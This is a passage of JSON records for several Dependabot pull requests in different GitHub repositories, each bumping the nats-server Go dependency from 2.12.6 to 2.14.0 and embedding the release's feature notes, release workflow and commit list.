href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.14.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/underpass-ai/underpass-runtime/pull/148","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/underpass-ai%2Funderpass-runtime/issues/148","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/148/packages"}},{"old_version":"2.12.6","new_version":"2.14.0","update_type":"minor","path":null,"pr_created_at":"2026-05-04T02:59:14.000Z","version_change":"2.12.6 → 2.14.0","issue":{"uuid":"4373762125","node_id":"PR_kwDORx77dc7X3Pf0","number":54,"state":"open","title":"chore(deps): bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.14.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":4,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-04T02:59:14.000Z","updated_at":"2026-05-04T03:06:16.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.14.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.14.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/johanssonvincent/kraclaw/pull/54","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/johanssonvincent%2Fkraclaw/issues/54","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/54/packages"}},{"old_version":"2.12.6","new_version":"2.14.0","update_type":"minor","path":null,"pr_created_at":"2026-05-04T02:31:11.000Z","version_change":"2.12.6 → 2.14.0","issue":{"uuid":"4373696894","node_id":"PR_kwDONpzmL87X3Ce2","number":3152,"state":"closed","title":"Bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.14.0","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-04T03:18:38.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-04T02:31:11.000Z","updated_at":"2026-05-04T03:18:40.000Z","time_to_close":2847,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.14.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca 